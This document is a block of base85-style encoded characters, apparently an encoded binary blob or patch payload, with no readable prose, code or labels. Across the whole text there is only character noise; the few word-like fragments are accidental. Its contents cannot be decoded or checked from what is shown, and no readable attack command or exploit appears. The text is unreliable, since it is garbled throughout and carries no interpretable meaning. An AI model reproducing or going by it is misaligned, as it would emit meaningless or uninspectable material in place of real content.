z%MK;~HRL~6JhPM4lf#8+6a6E=`zc-oK1A^ozze~pUmCCunWE(7`e`|I6Xe7ae&{?vVaf^5;VSbH&$#=Nv_aX%qd=fe%*vZSXOQe+)haT>4jj7iyN0 zm(RyGDS7GNr4DER%s_sH;w8v8JKXKxOB~L69!CBO#qUM_8i%u~fwoxR?osml zLcR_3iJl|Dk5RlDe5T^3fuF4SO7Ml?(%#fIww}wCynKJ`RZ3psbY6* zgTXf`eg*h_imwKLLh;?;&nW&K_zMo_r1axw4(ECvJ;c`YOU3iRe*_o*cW7zlgRsMX z8$^FOSZ`#5i+oqe@2mI#@Z%LP1D~sS9e70X)4-R3OFy2)6`*aEl9%swzd^}MKi=+e z_RqEO!`~FY4E$lm(}o(e-d4qbhWt|wXV+egdGck4v)yXwd0p`e@Es0kJ@TCQ6Nj^& zmmvRz;!lGAqWI)tREV||)R+CqdM1Fka5&rDLVvuqcR0)63;E89-vQoR@xjB58n3V7 z1Ht<_ob5_H7do8nE`WTI;W;dM9nST95As!tzX9F=F8x>zKb-E!b3ZP{ymXF|p9lF%6<-Rz zRq;E(-&S0{AN5nkpMd<2;GE_57U2AnhH)VEm){xL2VCT(9}jXk`)AxS^pCbf6)ylE zs`#J5k5T+$@X-$EddhR9;~ma+Bl+}?wke8N=Ns&mDgG*WSn(IYPjy4X~{AS4Ct@xlWR?kC9Pd)TJ?{Kc?I@D*o;#Y&e zt+>d)tGLL2s`#tWvrF-pz<*G@%Sc=QpB2vrPsh0Dc;ot?3f@ZbCh%;Bvp>ZTT^-JP z)U~XV#ViyPj@)` zVLjrZE(u@gaQ08y7+aq+6yFW~D-~Y?`DVo<;Fma@>$45@xxwLV_e;ocQ2aCS+Z^ud z`G><)}o?eQ-4t}WO!Esi9f5ijfgB9-wK1}gL!N-D2{kNe0 z$2;;|fBC#p$l+Z766h&cycoP%@e9H06~6#{k>YoOFIM~x@MYjq|L0NvTNGai{-EO9 zJ6nH#t#}X2&+Tv?6a8JG=U~O(0Y3^{&a-)3khbF#m-BC>;&OgGL-AQHte%S$m-mQn zR@_Q^-iL~R06p3HRzm8D<%8E9T-v)C@_9;L>Oaik91p=l`bS%SzS;Tj7wtxWjdA#3 z68RMC+hT{ao|B=cMDaP`a}<9Xyi)PU!RI@i?aDfTrNh~7=6L!?TXVkI`SlNiUj#1x zc^Ce<+L7n+vY96*+HT4>JO94ZN07fuaWBKleW-XI_#VZN0dHMk%SnCYd+fV|OaC^o z0BwDgy!<}hFeNYjJI>+kpL+OVqT=(wiyh8>md`bu~J?8u6H=s^KHoAr1;C=8^Hr4%U#~J8~vm0ZbzQuVJZ6SQ6;}G zHSViFtoYr~^P=LSXNTgV=QG6z;QHp3uJJ3#TDaNRvnanYZzxagPlsn`|$)0KPxc28D3EzQ>F3~&}pp}!pd zN89C&Jjef-i3WRDD?S|j2E}g%-=O$);P)!txyb5&K=BOl#~jY%XrmSPo^v?Y^RJM9 zN%333-vXERhSA;+9eLKj1Ny&nIO~4}dUh+m9Xu85Ywj18{~0_(@!jBUz@5)bmlrCxXA`=;8UW8sqV;B>Y3g<@=gGNy5KYd;;u# zmxOz`PLgpg>xa}NytU#>Os`X1B;nl@?~`f^?3;uisQBD8D}P85zFG0pq5l!Z&&K-a zNyVqPvHG7)!e3FmD$~lpk%Ygm__KH~WoHupmExm=R{yt2_#VZ_wYKs>T(?O-3eQk{ zx)t|YC*hqGpW4zE=$3@{Qv5)yHx5j~rLw&AJ z!f#OgcEsm~B>WD==OcdZO2Y3~T;5lIC<%X3@fGQ|f1gdlUr~Gk=7Beo@b?ve9{%5% zgny;Dd|&#vN%$Vcw_!ag_gAF9gts1N+b6s&;<;@S-c9idX}0{nN%(<^&rG-Sha}-g zD1IdR_oyU1U-5N_x6w)Xv5J3-^~R(m{6xjGF#pU-!sjY3pUaz{ghv$5!}(%i5`LEA zec+#!N%&gDW&OWi@w1@kCdK7aRnXhn(a-#1E^m2mlf$kv#rh0FH=p02ojZ`&t|%l9Cii1|tM$oJvM?Ph)+>1#kGCo=<8hbbG9Kl34@AF=$Ay@;gv)rm zRdE@Q;#ZNE@z@dboNyVB^7{b7WjxBdQn-xA$CMr!kExh1MP9~ZzTz?-S12yyag*XQ z9^X@3#$#K|w_;bu<7mZYJj(rGk(co(-!ms%?$3Lqd7stwCws;ieE6Ybp?x)KE zOxu$6dQggoR=!VcVt~;~_YrYkU^%vf@bJ1q{y=a{3!t9&DDLC?00~TgK0b_6tn-hS z=Z`C~PIs+ES?@8}&r$}Z{({G#yte;Jch(YZug%5h^XWh$|7GBYr}&Be$9*LBg_jab zRR0~Y-{?`}$y8>Ik4+O+-W6EK!LcQgN|`}+7Cg3ZO3f0_;?s(;tj*3tkc z{`jL}QXLsTZxLfjX(uJk_T)=;{}ngd*`)rm-$}<3mH*cVw$PzYSx!nh*?;9QSM(#4 zcNwRpobVI^e2V7tr@Kk{92Zhr+Ap{}m1mv0e8z{6;6dwbx_l=poXG!$7qeE1L&yI- zrAm46e&l!*t-E7+aA2e{FIdJ6R0|yT_soAa098)wlC1CBa z{(v_ku78=IyM_PTE#K_&z3yH&ui%97%`X>B9pC(IL1{tB_~xHVrxZ3nS$Ni`gGpym zb87FRRn@(73Rm6Qdp(sZYW||4@ch(1eJNeoyrOqs63W~B5$n63y+FrJCT~w+^T$Qa zpPS6`@AqV{V09)}(EO+YFOc}k&5^lyoV~vnEnT>k z^pX~<#^{O~x0P7_^PcRL4{;R+8&K5zPT?vuiHvXFTzI|-hx^HjS9tzlG=JwzswUYn z@`;LlvNfCEdsN4*7OmS+``s^l_K?f=w%A)#%#7v+CwK(XcSD{6Y1TzIB)Y5qpRrrlHP@d%OA-vIDd!*&F}nH10G;E z8R1IPepYINZG7|31tq0ZnqQz;<1mVetF8p{HW#g`=-rk>Z#C&CYW~ouL7dqP;_L%+ z#DrBol{C46=0^;8oytm_WjJwWkG@GqDb6yYake8GDMk;+8CS=NGhP-@oN=v3H}Ckh zILjdQwmL?aA7_u4?D*!b1aLw% zn0T}Gi&p73i*1*9TlspVe6qw_^Os}t9(SY7j3ExQwiHyx2h(R2oPUf-6*d26?V`a1 z3u7oqn!n^oDdH%%>YKka`aZcad;ff|U}`}rLang*Yl^iT)0fU1_QzvwG^sMCB-Y-h z4xw0^&vROQti3}=_d3?PkPV78uC)_u57S_>{U421p4T$`kTCU%i?=O*DBh<2e;99{ z{IPg@UgC{|N#?il&94?yv~f6?+3jR6c7C&cb^Zvm->Yz|%oTsroK@KTGsV#ca&^p{ zbp-(g_1(PSkSVtL^TOrdw<>DhT9`fdvBIMt|N6%4%O6_$nz!QlrWOTDhk5-YClxmT z8vz}SaGJa#4SWjh8)kjxu&R)5kOx(|B!@^bOHEVN-3zZh!N5SHK zl3~XGn7sFR2II;(GuVY(?yN_+4HQ*$qNG!#GoMhQ<%3fSvM+svXOX2OW#ioN{S5yL z`27?cd-C>Jo2CwlD%F&24n@nGVpuHfJc(48<8=P~I(xq#`3&(458MCnisVJ(@aC7N z6g5Bm(PHZNm7AN|os_p3r*|F-bY30b{0hwkClxjSo0c7g&0pZ?&V9byv!^oJeXEUr zo)IWetoG)oX~pw(;qp&2KHA@EKXm11o7l5-%As`!Rxx&rNBYzGFT)>+53lAdFLgek zrH?%m?CkafnT+u#CQ?&JJIRf2eh}*jnYH|tM63Z*UtX6{eaR93G4(w4XXAwqENUDP zoevn%I*F=I9@zQIk1?$m|I#^_S9`S7JL^-vA}d_px;Op%v};U2XV8(n%}Ym+Z^`=C z*(>;cC8~z$s>0?+3n>g&3^44W^IH`ze<*d;S$lr@<(KcC>-kuprL;wMHb3~_&bBu% zr3lI%{b1p$2`Poyqn~TulJ9LPT>e_HaMj2?g-1Wy&~@kC6tT7+3zvTsAeO!2dO}MF z_m6zOg-+?zq4)Qv9vP3$K+IDOBJD{U*`ihTfx_%DKNl<=k(<5pB9bpyx+LIbuRO;T zeg7WQ*5)r{Vag3yIfd*XI6rgy$*ydEt)CFSJiORd&hWa3bkgwZO0+0uAzHcG)NRFq zEI^eH(yDxX^M|HlMa{oh&$3%jrXf+(y!(9W;)hdLEi-O?zUMY^>qAA&-#z%Tc=n;f zRa4lrufemg2aTelgLfCMIwP23GUL%-{0!mP<}Z(J{=Se-)ooXe+JiZA>9ExPkrv2M zFc)rph=;a0^J7}0UNE|Lwxk0X|AoyTQ7>h$xQ2$#&PntST&@JD44F2?j$Qd#_R42S z1d&gxYNLHj-e+-xVCRiS6`jAS2dOikr7R^=yzCW6P;%!3<}i(W8AZ)MjBnl*)npee z{+QZ%0?C_7_-#1Vw873dC768?M`m2`y{FjWKtLQpUAKToK=ZprtNM^fy-&LM?f#&! z`E6^8CaQe84!Ymt-ge;YQi(jen7E*KhOu-+YjaiA)Q19xZS!REaOG+d-9*UyWZP=H zf6N%*^$pJtrBZ#G)s}zS)~WSqT83;cq{UGxonp48_U0a?WkM=f*{E3leV}Qe*eEP7 zA;F^`GM8N0qf>hqo=@u-itB;4YVB!qX*-in736m#^T}IANuS0cIgM3w=@xT&Ol&O~V>r@ORbh|zi+KGiy?#|*zkaoK{mRQ~>uRgY%c`qR3w!iKu}>qF?oa<4y#CzW{*`2?aZzI= zT+`@PHZ_LlRL^ha^{)so=wDgUzfV)2TJ|(=vDFGM43{@W!a32l+UotPoNX}#WA&9) z^TP>JSQD@?lONDNBaNx)jEKb^OG~WosmJ-O|R7wip1oBesI7I#a7$^Q@Qlx+npi?T0Cbyi`jB%Mq10^ z8VUHYTGWNx(%)utp)gC$8 zWO8g~h{^P|nV}{#z-ES-%wU@tZZi2clW#JGHdA0S#Wpk2WTx57=*~l_p0jOcY{vr1 z*w1Tc7Mfbu+au#mCSo%aGH;_MEVP+p+w(itOKs-3?D3RYW;4fUj3aH!ZDvyT36we4 zW~R5fo5WVz%t>A5(2*-_W=6Lf%B;7UnWj1$Y-U!==cvp^n+dhzo06MsX11x@W}BIl z(MSp&u^rjEMYpR-&Wwf3L$l0tru2+KB#@rL2QoRFxLzg_nC4OjVl$)3d6YD=%SE<> zxzp{nY0ml+p>)&PEjUSQ0*ajT47Ta>qv@>ftvM1hUnIfD>93uaala|vlIoH13?*Ce zKT|HNM|T!!&-$|WPs#qy2y*P0!)<$KMbn2HwU!^{q=!b$4X4O9t<3i_`cc~GZMR>b zJ0Gx_{cXlHv|7aX*kQ1`eQw5ZniY(b+Ye|H=4#o@k!_kOonbS>v#;YC+RTWoODWUU zX7bzc@Z85{3fe5DOpeWrYROLNZ8Kwx>b^EJp$!Mx0Gm0k9p6(NY%|4e`C>fZW=`r9 zCjS-M%nXy6W-~KQW}eNQ+=W}P(97gudn_f5KT3(O0obFq{)vpZFXYrQ~~mq2OC0{UOl(pSzXaA!$&|isA2`_UYa0OV1IM_~`nhAE1s4mh*%;cFH3m8bGF6 z?B5_I)^1^-%}_Z?`;^2q1Z#-0WUb(OicqL0>L}k=q~3-kN2F6ukX)RpJ{^|)RQS*y9B0D?0Q~z z*MRRbel>x&z@$L18_iPxr7?1zYsNZnpFr@m|6aAU!}s(Z)aZ*yFMFCA=nu1h5%)8X zQ^qf`oidN0!~%!&boU1M5~uLHx^RGonI7$2jc(wlI!f7CUR2(%5znE1$FUF;+Vgt_ zmFUf@!adoTXj{cjw0w-Wz}gQ;)Xoa60tdNcvri2zp#!Y~!(He*;Zu6);_+y`4z%h# zkJV9Cf?o$pDKu$U;&}%dORt)fxX6t)oyry1P3x4tR-%t<>R@C4)uApsq=8;I3cPMk zRif!oQ}zwRf@?M{w)rRn|V%Qh^0 z84jF_pfhpc#LRy&8SYZw@*g>3)_()I^8$~@ELJy~4&_NL zM27?{=LBfvot-?MikUnT^!anC@6qxxk58Aa{DtPay$`6kGYwCf{2LS8$#kai`=X5c zt2?#V?|fcq9xfGUPZZdr(Mfd@btmN}|4Kh#)?E`b>sI@-?iP9oX`Q*Icf8})3`xMo z#XIxj7-!m<_Y%y+8!+=;ikWvK@|Q{8evfwG;n<0I3th(8iTFlL#2XS##J8kY($!x4 z1mVv$zdjNFGq_n7-}@eR`jE%dzeywY;eS67pGYnsMed~fD-*F<701rN?g=1fn&%04 ziPcV%uYrf{r@v~2J%-YoIYd+eQ^LvKpS-xw5p7EEaToGc? zS+vB?qBNOK=E;;MY}!qe^=fI%%qd^u5LnCVt^Lwou6?k_IAmX~J18d5q$C~NgIe1z`qv&Nw;klH8k z9qodA^K=-%t5iVJKQl9uDSNCWU#=Y)3N?Bud%E#aO4m}l7aKOEQuYkKl$Xo4)SQ5+ z5#L|4N9Xk5qeu^9Tf-sR%ZeVnj~M6`U;|dPSHOyn;8|C;nYiy1Sj)Ghd;IJiI;JIA zlr6s#W#|^blK$*&+5DSUbdok(;OLB}$#{>DBh+KElc9rltD&gn`G;=u#V*L`?i{Vs zdpc!koo}`;sqn~NbYNsIAI){!VFV~5e%x2JViX^VY05}$%4jig3@eoF7^4_Dn%C@h z8dcRFZRb#C85yCvM`tV^bcaW$Esl7*Ke^TrrN3wzXLsknhN$Tjys5vd7Aiags>+PgYbs5Qt_vObBH8 zQf*$6?|vXXKW7z6>8_qHlG-IIo-)l5zbVQ)_G#lA>#)i(*6GNU=#fr6QldrLy&r8s z_Khj>)jsry?7kG|$Y3YasVb$7U#)hJM61&738%z2De|=y)SVU4beD^wLP6Jm+1I<) z_jf#-{a{LKFVHT~C#yqdFsnyayFmLEZM)DjqTXI+<_JPGxRA`CDW$U)%o>t8H1p`p z@wD7e%O)Y3b9l%37Dsu!%Q(>NT6PFzW?JC@(N=AovV*BuW*{)W10QMKljQpoY11JP z%yP?QMeUK-I*@{4be?HD(9v{EH%9GxQn%8>T~oU>uASu_as$V76L?U!@g2B*`CTs` z*^Lc%OmhmPbou8V5|J2x*2kc09}RlA(GEa0VdT{Dsnbfp6xAE2AM zF@>z6?)%cA$$?EHGuh^}%;{+-WU|p7Y2N>1?_J=dDz5nPd-v{cHY98U;r);Wf`msx z0s#UBO(1~{1PBl`D6oXQNDWDvY6M4`Lf7-qBfAq6NsaVO(g56*d)rX#K4-9``BgC4|?zHm^2Wd6PuG1 zY0N1$N=7C;*DiMu5T|&aC<0(QRmm$FcN!@HiBO6B*vyAS`At`I2;;S?sA0@h^94gY zeg`tkRt73na}d>$tY(t|MO}kY)utn*Ln-;9p2A1nTnN~{=78qL**Q=TVrug_`A)?u z5`Lg7P9ZYP9vrrXWjYV56^t|(g`UzJ16xaTkQ)koX5>Jyr@Rx8H36Pq$3onv!u1F& zFr)j7uBNe)y|~(o&NR+t?=*tE20TkR$RU0q2nc10_}}TozRVU=!QLG zz1M~+bnd3Hjv`xaqBuq3iM+6~Z653mvlTj#8h#s|$7&y$#SuqBD)v>}@7U z8jwRjgy$DT$ll-E&`S1xYD23fdCaf!As6DT)=XQiO7_mR)mp(`Rs_|mJjkH~4k3GI zkq(lOLs46^73|#~L&%{w976VTt|Z5pEXe@0NN8)6jRkggD%i_;fZE53vk?J$n*($7JFKcHSYuU@$MwwjHP8qD# zO#vxwwaFt2*#9s(7te+SNQ6MHrMftHxK;;Hr3i zFYJY>zC?7_&=m!-|0{&K2=W+QzyH)rK~E6ftBN4@|1q&3&KX`0(NJ?cT|qDQK5j#+ z+4}@Ra;V|Z?;Jw*zG_1&+51{dT2%+#&pI8pnN+g(s12RVUe-c(_8fZ2A!IKrVj7j~ zRduS2tNW^6$6-kY-4K{EqXRp!_Xjq#hQ0R_B<;kZzVL3COuL4?V{B+Sd(TX=siY_V zmz5b|ORi+^oi?8TB)gXk}!E2_o*?S#2>cg_KK_Yu+O3E~Z#@l8*3D2V;{o=%V?=ij$s6$9NTbOqhm zd$!$ctYPmt1j(k%q2&%CdwF|bV8`C`V$yPm&j*2ll)c>JNg-0bM8B+lx~)PbduQ3u z3ih(Xvhj1s*+Osyds#b4$f2(~9NDYtdip*yUejf)>13PlYWA{jsKBy=9I9{#*~`|2 zew@9kPRmZ)kH_n@oOK#wi#nIRtOe?{+}3G{L&#oM#59(%SJi2GLY?&7!`zQ;Uu%o0 zVDHy$Xf=CT3?y``F_%z^y>!Jk!~T6XHcKNPm?{FKcVDBOuav5QJh%48k(~lWf5UV@r zdU|TZ_$JZaN>^+x?B{J5U5B!tlUkhl(+hf&sM!dor-ns#R$o!85BY<1byaIDMb4+| z=Lsq#x?;Lw{@Gtjn5!UeH}I7djjG>uMpyR!(1y-s@1q3C-hxBFaR}M_2OC<+-q&N& zIvT|LSf{&fCY9`c#D>wolZYE#_P14b^5U_YAt(N3)E@(K@R=iA!IKrVj9cYtLl_^aKw^~ z*QttiI&6zt!Cuw^b*i#;`lUn2URK03s@SXQRF!bRR%=%t1)xc=_Z1sj&E7u}ggUJ} z$f2pUJOy_f>|J0(%h_wcj%2v>g{msB9&byoWbbP>w3fXr9+j!Im2t!*91&R<^M(q> z-q&q05%#KLmbr+DFuO!o<_&d*y)W5fR}Oe) zv9D(v2i~J1LqhgXry*Goa)2$2gbAI?{dNrzx6&1+c~SCS3ijS?Lu=T3n+;X4_az&O zTXuwpmlVk@==9^;94eS~bUi(_VVp~J7tj?)L-t1qa~%y=lUkhl(+j$osM!dor#6i1 zi2kc|MYY&}fG}6J?xDyR==ynreol1H&=m!-|9Qe(1;ID4v>Z|CEK9IAYC~}k)Ua;d zNYOXhWEFt`M!>Ury1Lxzn8qHW=k%r#x7Zv{bUF)&44U5~w)fiVoXg&q2$KE!Xi~0| zt`e1s>%UJ?O6C9=;^dQ^Jl2r6$$@l6cGzU4eqrlb!Cptoxhw@g#Y6{BDcHNrhAP<0 zSxNAGE1Oa<2do|&3ENCp#B?_q0NHwohzR(RuTFo0fC{Q|f21pSsX9G(3R8%VI|uH? zbb9U<%Be{&r7L$6Iz6}7ZsLCxUB69Not~TBqZI!bUAYaD=WEH1X#9Nu8c= ziM~qod~3w_a5_ET6x~RC_tTYcl5~2$Tltvye@55AluoDTn~tdzKb@|86Qa`}@ku0? zmhg_yl~<^BdfwQ(57F^rE3XRc^t{X}x4nRuj;M+7va3$d>z@}A|7N;gMpvEwTEcIl z>$m92%bGepcPYn7k1T2im&Y~-I~mjes+aUlw5+q4t{2hu8oJty$-_^H`3YVtJqzQ9 zaD1-75qhGer{{G1ITiu&-f)0~+`@b8@CMHLf?NbhNikX>6`(>Zq-ovZY`~WJZ2=Q)6?- zmTcI|9yZO1wto%@?8zf3fZLRYnwoefvzY(qa6(~IqFYN*CPf`R^Lo3xn(YB5nh-=(f z*WOxJLnIQMUshf!0mmma0uY)9*dqcjIX5-7BWKXCqZz!lGP0pA+R_@0)U>qK$w&~} zT-`(|WmZI{+8Uc1BnrHmTbO`y2x4%jCO{!q!aCAhxW1#YDVp8be72|vKGR614j-z) z3x?@80}uK<6~4gvKF>}ce2iY`^Y{Z(GBPp-too@h;5Q-oQ=d;Arf`Ko+g|3R+@ zgttX~)&O50zv(r7UMuwgfPJiJVW0}beygvU;opT!I!s>yXk=AkDu0WU$ohug8g#&S zmJ?~!DLgG}=<9-KLt(V43b|VTS-x`|>JEj~t4Mhc&q5|rHMgt`DPENfM-nq zDq-hHeVm=8vhhh}3^@JfU{lE^})W;04^|5$cTSZDr%R2jj-x?lk?{BHRE$cUi zw8gh~I3~9W3RR<9^J91x$OK`>c(Y70{zPH>#wx5hkeNk3%abz%3&6TuOV$!{4{t<Kq?UE52_>P`{MTYh_M6hMuWwgMVy78f6raVW*-2@3Dt5fY%W3m7SVrf5O#;= zV82zc3pjY7LYn@5zNEkupLtfumjvA;L@x;y=H%o+Y`frNHu#c9`OJMGz>>2e-mmt^ zu$PKpGyw24U(y9WbCxgZedJ>ScgPC1$%7(qW+WQI&Nv&Zn=iS{XLg1{$P-$|GrrM) zdC!xb(>}FHdab`2w*%hCx)uucLF}JQ>s`a#RhZ+q@i`5_tXZ z_=@pr`btI6^qncLKtka>xLQ3}J{h8WAOivLuCFgNI)57&Vzn;_-oE=qZxIBWSpITZ z+y`z4VMD!MQ1HYyQOS~q0I?a!0hvCl$Ah(IA8-Qh=liT#(v&yHwvXSM(v-JA6&I$2 z8uhYic7mC#{-$SKf8RLJ(zI%NptHZpmjb!-LfwHY4zmN|rN5&Hw~~8&Ly>Y43>ri6 za=UM6m9Ib6+nwG9NP!%#W47y2dKprb)moM4sK((!u!c`Q%PjK3| zUD!`>s;}w+X)@Q(LSr9;a&N~U;Dr65DUv+yBmwh0Xx4i@*5lg?U(ccO@j+vmVEqaP z0*`-fr)-W>phT>T0`GK+(&@7eTBOw{$A2wwhuUMdMuGNSu=c0Q!q{s?VW=QBGzKA2rcA}#gxktobA8yaij3MWZL@DsU>V%ta~QnR7Du^DEn zks6p<8r3y5b#N9|JM6^?v~of&_v7TrZlrxfOIsB85QD>~@cb#9*oy5hk!_^9wl*TB ze@3KiX#~h3>#N)A47q*fRHF?x0X3Rhnj1pmr=uBXo3L9aZY&vzz~_1`O`Ga!4csC# zLYsWnx7F2wnk}_;HJhSF6y~W&Bxc$0BNUN5ASZ2@k;dj0;I$DFV752G*xJ#)K!M!_?4wP)GtFDdUj$62gr^rOjhPs*yBebO_@Pds!Yank?F_Q+3aV9Nu zA@r_qs%~fpvc~q7npv|V?d`CoX}vL}t)(T3H#Ep+3QmJ-ZJVI9NKHo@WUHxTW3#|H zhwZH}(~i~~5zv*@=Bu+~sUeC1wm6M3U~6@4t^qUpIyAGL9X2FqueG`jGAg2BlR7X< zo1h2Nt%sdNFNETU14)1Z-a<6P&4MZdO9M&(OV+3-O`EDO+6vi+O;wGSjwqHQmJ%RP zJ?g4A8hp3uVBCSxboZBIBX90V_3iCJP=bH8H&3Jwp zC<%pv8_g!Au*X!Wi{nJj{PB zWCYEC4FRrgxO-nyb$b-fT5CldYnM^e(u(<(j10JoYR8}Iwgw}*Dbn0tSK|}`)$B-X zb#wzHfjwfeHqq@KW_2r6nx>{mJ2nf5ifu-sh6vLK)>Lq326 z?*dWlwwevlBE-(SAOrScYHVwPw%*uKx3M+4725++Z>(;+uny>)yF@UCz_3z7WnW)| zWm?yUEfexCOb9Wu2)K5L)`vx2E!re(kPEkwP)03njSW;;v1A}Uv?gKJNJLmW0(Vok`vs9xVLIw_G6sA_2bx-E@ZY*gt)UcuUp*pg5x7zMH)sfXQv0U$d=S0L@o z+Y@5}!JiS?+z8!+IQ%cxe4t+&ln$@}qcuR8(ArtISIid#Y=?0E& zY-xswntCM+Sra$#SdpruK!7$8jjE=p1-j}8wtbO9=rd>JqYo;HsDiQ$K}fVH(TQQL zfeIyhM7Tn|71b(IzmZG>4Ge4wV~;46+UaVWaBcg7ZAUY7R<%_8T`nzHn`I&3tn!`4feqQ4OU6;kX0PK)tVQ)%US}-4e><0M~XDWhDSms zFd~_yD6`m>Sr$C*@!Xe4rq2wX@YDj|FkFj)6!yvo-ft6sv5g(@zsdvr_hO!|^n&7- zBL7bR!r;?_b#6&8t60g)!W1jr48G`DBKTziuOeJo1SdXi2Yy$AtRa_L3xh{Y&(S`? zAtk~FWhr5xX(C#&#man?4fZ72Am~!x0+hYDPcUnqB6C5?f?(D{1u&|Bm)NHru6Mz| z0lfA?K8IWhMh#u+ofpjNL|%=+2>?(?mc-nY5jtEPI>3 z*k~($`*%TL$&IgLi6Lak9j;w)*e=b*S#m4PxERasy<(#*V_+-*p~(XA8Dq5=`I?U} zF2xL@*Wc19BwS--6cfHgiW32|WhipeK;*HG~DiGG!Wp;x|- z6JM`tiM~~%{{rC~HC)p94eaYww@Czi#>FZKei`-|of^K2==W;)<%Hj+;qnC-pK*tV zf0^iiuHj!L{Dg)dBK)r!ev1hE=`1>0EBf^ukuHz`-cm#*; zEV&PQ4E!?)rN$a z4|VBce1^EcB;fP+1o%G^-~kwi-0aXd0giJEH~KMvqyBQY zf5Ui)^q-Z0zBmDn^AI=wOA_EK0Y|yK#etYNfNUIB-T1^lmQ@##;%ECg<@2T*@B^o~ z!%r^$il3S2n}$F6_%j`UX5bGT312>M7XIYPgfgWd%@eeFf;dl5=LtS}BGFVqIaQ>Z zD(I&QQF(&fRFQV7NIO-eojTKqEGS<(x41mAbpHGmrInG&;<@Fek(fJo=Vl9h_U)}$ z3!x)(?1dm_1ppu1I`@6{O%2^;#ok=U-Br_#mADUwq6aVKz#t8#IiK!^InRx-BSV}$E+pH=v%c6(XD@x2Sy|AfMS zsDi(x;KLOBp9(%)!FiW=)N_P_<9LG(FC*cfc4`;P`@f~)QBc?DP7@4E`Fw%?Jo;Dh;9 z`P3%B8x>q_zpVOVxmRk@=ST$P(cILcMqZvo-D z+_?%LRc^V0tL?W+;U5AST>m#H_-F-hQE;`LUaas}+ufxKuIB4Hh0hp;|3Sj_e0@jZ zqvq=#1us(gJgD#wDfm+guIm4S!bjDAD81W?(Q5lWQ^D2tJ59mWc2}(6YWs~SxY~ZZ z6kO%=Tmt+z3a+-_;|i{}-xCV1*27N}TrDp@EiGU@RNHSl;d*(EA{_0emRFvFt8xnz zT$MYQaFnaI-(?ED%BM=fRXz<0AGQ5{k#JrAFDZOf{V!K=RqoXauF5??xZZwmC0v(# zx57u2`;daG?f00%KLj@7_WPoOk5%wj6SBv4XE59PON`;N1!E>l8k775Y0Be4c_omVnRC6#5c{ zz8~GkW4_dSG9dxJM8QiHKIapz=PRPnt8yC^T$Q^+!BzfU3a-|xakPGb`iB*Lsuf)2 zzd^y(`ml{~z1(*bj`Ym zcm@AR;j>u5{V5Otrxt}GK}}6=rD+R zV25=c9n!1oewase%qM~w0f%!lbd0}9{4p=+7{_%=blAtDWBf|O%Oz~%f1ogyDLSU# zLvpJnY~y%X8oGLUvGHr^{-jOAdA_w>!>QXhuF&w0N$yuP`~wQ#q~W~2{5=h)pz)xF z&!Pf9qWIs3>w#K_@9YCK37J^^luZN z?`Sx$bK&y_mHr6P|3t&_IS;z0HGCeG@9#8xDb17cIRrY^=Qh&wLk<5n@$phT({Gi@ zjeZ)wm(ri1;io7(NyGV3c!7rVeMPB;^EZ&ZF2wranh`qwoSgANqz^x@XZ$0|*H(@H z14MtRhTll|wHkg(iZu>tIF8Nec-@KR;^E-vc-@I{{+5;3ofzl#`JBdo5VfOMHGCqK z@82{WpTnU0Si`R%I|N8CmYYT4ff~-+!;RJOhpE4sqT#=w@JtOqgXq_4__xT;ybi|t z6i~i)YxHMPez<)zeLm5BTciIG<(I$dW%{2JpWkcr6G+cDG(12!f5XdsnwgH`8Ru_~ z2WdEeYdc26)2MvsY4}>wpTA{h{=A9AMveYOS?tC|8vZizxlF^~BKj|D_)-dgL&H~4 ze!r*T`DD)@YIrBfJ*MGrP`N*^;Zw*CuW9&MB=;>1zna3IX!u0ZCz<%M-5w)-xIHnR zPW5f9Mt>&RCs)JICV5LVybsAepK#13Lj2tGiyHke$PU{S9H)3ZPq;+GNgd-`8vj!? zFFc~)=;h}t}>jJXRCmOzu@BvhRS?;ZbPuB2<2%k+j<_qWc z+o*lb*XZA-bpc-IVfxKf{~HxP$hwT|vr)t65Zt((tDUzd^x~ z&jqCa%?gfu?xgm3tA>A@@CP)U$G?X)Jcao44kTP3x(I((qu)dLuN55i593M;Iqufs7&+BY#XYL0#DDv-w??o{~!+B2%-lUc3c~6Rn!XNd2n(9@nf}{Q| zBsZ$z+`sd>CF_5X=y^L<#=l1RrJA0+7sh@CN7MWq{?Xm9;8<^Yi~1u8@ZS;6a(R9K zRSkcE^!ba1^WG_c({Ns|f0uB!CvTOXi~_+Sj;#6q;tT~x{dv!h@r2_A?Vn5St3big z{>9WU6l(Z6gqLdg7YQ%ZaPHri5YGDZULmy#j`qJ3{?UC&!BKzK?^+G-L+hu9G@R?( z9U4BD=pWPYmk9rzhMyq(FB+at?bJi@oUe6+57Y1q37@Lre9Xo<8vYT{*Ab55u|M2L z_2-KkJ-=soxkk_9@0S%E%l8LVUN>kskAL6M@G$iwcW8Ja;dc|xc6fm5>(4Zt4+QwL z!Uywp01Fx1I~x6Qs-L_U4cme9HGu4dIOgkR(r1WB;>rF~Um~9P{-HDzB9q{yycmPQ&qdN^~6>-c0n{2xmKQr~dp>g&x~A&x^jP(Th$3 z;&0dJ(~18>3Xb;V`px|Z+sB}C`kBU`?^}7@p7rECqWAem&tc31>d5i9bK5;QGVg-7M4iJVAU`YWQP>uhsAm316?_ z?-JfXIP0^6^x3B1SYE5ip4TWi+LQM%`;ECD|F%>3O`Hpx{_fzD@NZTf=#NI90(>?!7dg&QWmWQ%~)@Si`FbpReG^ zhl0j31xM0!sy8b&+)McR3XXhgsQ%X}IP$rf=o>Zs2Ew;$cs|*8n}$y&{8GZX-tr!P zS1a^LnoIX1-%#kWs_lh;bayKBsOOi7|2-PsL-=8Z4`!A32z*MxRsMfeaHQw^u1__5 z0?jvuqY=SzzW8j5xf)(a^h-6I?XZS$u5b5Bw#EjHp8MM!8a>y~D-;~<^J}uhRT};z z;nylSdMTU60R=}swG?rahOZ|4+X{|eu2**}IP!Ut=()&oq1@g@38w z=;is|?=_s~dv9qt&-YGgIM4U|{edYsF5muCKhp^3aqw+PW=z)Tdx(CzMjt|k;7S!- z*qOp*8or*wE9lDl@bi)jHT(+dXQB!pEbzShz9Q%P* zK?UE(CctNDIM3_KHGCuSxj?}&UtBI5H2i+D&kha$E#W;1uIl;q1o(F~ob`NC!BHPR z*WP$4gUw>)&L*^$9CqubyErF_Og@e;Rpps{u79ANW;eyK0(7* z5uUB#D+!-UIO~%}_6#dH+LPyvYZM&q!+ZVKEBvt?-9`FuQgG3ZNbW@%&gIvs;g1si zWg7k?!mlKp_2)f?Z&Gm7pWQtQj{1Kef51Jd;Xfk$gog9sJSp_T5X=1y(GSt^4+$^S za6XV{t%hGr?eszoe~j=g8qW1|kB0w|=&#Xmu5Sl5d<2#I?HbPI`+$b?bKEBg=W)4S 